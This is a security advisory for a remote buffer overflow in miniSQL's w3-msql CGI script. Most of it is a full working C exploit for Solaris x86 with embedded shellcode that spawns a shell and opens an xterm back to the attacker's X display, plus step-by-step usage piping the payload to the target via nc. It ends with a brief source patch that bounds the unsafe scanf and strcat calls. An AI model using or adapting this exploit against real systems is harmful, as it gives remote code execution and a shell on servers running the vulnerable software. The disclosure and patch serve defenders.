SecuriTeam - Remote buffer overflow in miniSQL (w3-msql)

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The miniSQL package (http://hughes.com.au) comes with a CGI (w3-msql) that can be exploited to run arbitrary code under the httpd user id. This vulnerability can be used to compromise the entire system security.

Credit:
The information was provided by: Zhodiac.
We already reported a previous vulnerability in miniSQL (mSQL):
miniSQL w3-auth() buffer overflow
Vulnerability in W3-msql cgi script
mSQL multiple buffer overflows

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The overflow is possible due to the misuse of the scanf() function, which doesn't do correct bounds checking on the provided input.

The following is an exploit code for Solaris x86:

------- w3-msql-xploit.c ----------

/*
* !Hispahack Research Team
* http://hispahack.ccc.de
*
* Xploit for /cgi-bin/w3-msql (msql 2.0.4.1 - 2.0.11)
*
* Platform: Solaris x86
*       Feel free to port it to other arquitectures, if you can...
*       If so mail me plz.
*
* By: Zhodiac <zhodiac@softhome.net>
*
* Steps: 1) gcc -o w3-msql-xploit w3-msql-xploit.c
*     2) xhost +<target_ip>
*     3) ./w3-msql-xploit <target> <display> | nc <target> <http_port>
*     4) Take a cup of cofee, some kind of drug or wathever
*       estimulates you at hacking time... while the xterm is comming
*       or while you are getting raided.
*
* #include <standard/disclaimer.h>
*
* Madrid, 28/10/99
*
* Spain r0x
*
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/******************/
/* Customize this */
/******************/
#define LEN_VAR      50   /* mSQL 2.0.4 - 2.0.10.1 */
#define LEN_VAR     128   /* mSQL 2.0.11 */

// Solaris x86
#define ADDR 0x8045f8

// Shellcode Solaris x86
char shellcode[]= /* By Zhodiac <zhodiac@softhome.net> */
"\x8b\x74\x24\xfc\xb8\x2e\x61\x68\x6d\x05\x01\x01\x01\x01\x39\x06"
"\x74\x03\x46\xeb\xf9\x33\xc0\x89\x46\xea\x88\x46\xef\x89\x46\xfc"
"\x88\x46\x07\x46\x46\x88\x46\x08\x4e\x4e\x88\x46\xff\xb0\x1f\xfe"
"\xc0\x88\x46\x21\x88\x46\x2a\x33\xc0\x89\x76\xf0\x8d\x5e\x08\x89"
"\x5e\xf4\x83\xc3\x03\x89\x5e\xf8\x50\x8d\x5e\xf0\x53\x56\x56\xb0"
"\x3b\x9a\xaa\xaa\xaa\xaa\x07\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa"
"/bin/shA-cA/usr/openwin/bin/xtermA-displayA";

#define ADDR_TIMES    12
#define BUFSIZE LEN_VAR+15*1024+LEN_VAR+ADDR_TIMES*4-16
#define NOP   0x90

int main (int argc, char *argv[]) {

char *buf, *ptr;
long addr=ADDR;
int aux;

if (argc<3){
  printf("Usage: %s target display | nc target 80 \n",argv[0]);
  exit(-1);
  }

if ((buf=malloc(BUFSIZE))==NULL) {
     perror("malloc()");
     exit(-1);
    }

shellcode[44]=(char)strlen(argv[2])+43;

ptr=(char *)buf;
memset(ptr,NOP,BUFSIZE-strlen(argv[2])-strlen(shellcode)-ADDR_TIMES*4);
ptr+=BUFSIZE-strlen(shellcode)-strlen(argv[2])-ADDR_TIMES*4;
memcpy(ptr,shellcode,strlen(shellcode));
ptr+=strlen(shellcode);
memcpy(ptr,argv[2],strlen(argv[2]));
ptr+=strlen(argv[2]);

for (aux=0;aux<ADDR_TIMES;aux++) {
  ptr[0] = (addr & 0x000000ff);
  ptr[1] = (addr & 0x0000ff00) >> 8;
  ptr[2] = (addr & 0x00ff0000) >> 16;
  ptr[3] = (addr & 0xff000000) >> 24;
  ptr+=4;
  }

printf("POST /cgi-bin/w3-msql/index.html HTTP/1.0\n");
printf("Connection: Keep-Alive\n");
printf("User-Agent: Mozilla/4.60 [en] (X11; I; Linux 2.0.38 i686\n");
printf("Host: %s\n",argv[1]);
printf("Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg\n");
printf("Accept-Encoding: gzip\n");
printf("Accept-Language: en\n");
printf("Accept-Charset: iso-8859-1,*,utf-8\n");
printf("Content-type: multipart/form-data\n");
printf("Content-length: %i\n\n",BUFSIZE);

printf("%s \n\n\n",buf);

free(buf);

}

------- w3-msql-xploit.c ---------

Fix:

Best solution is to wait for a new or patched version; meanwhile the following patch will stop this attack and some other (be aware that this patch was done after a total revision of the code, it's possible there are some other overflows).

------ w3-msql.patch ---------

410c410
<   scanf("%s ", boundary);
---
>   scanf("%128s ", boundary);
418c418
<     strcat(var, buffer);
---
>     strncat(var, buffer,sizeof(buffer));
428c428
<       scanf(" Content-Type: %s ", buffer);
---
>       scanf(" Content-Type: %15360s ", buffer);

------ w3-msql.patch ---------

To install the patch, run:
patch w3-msql.c w3-msql.patch

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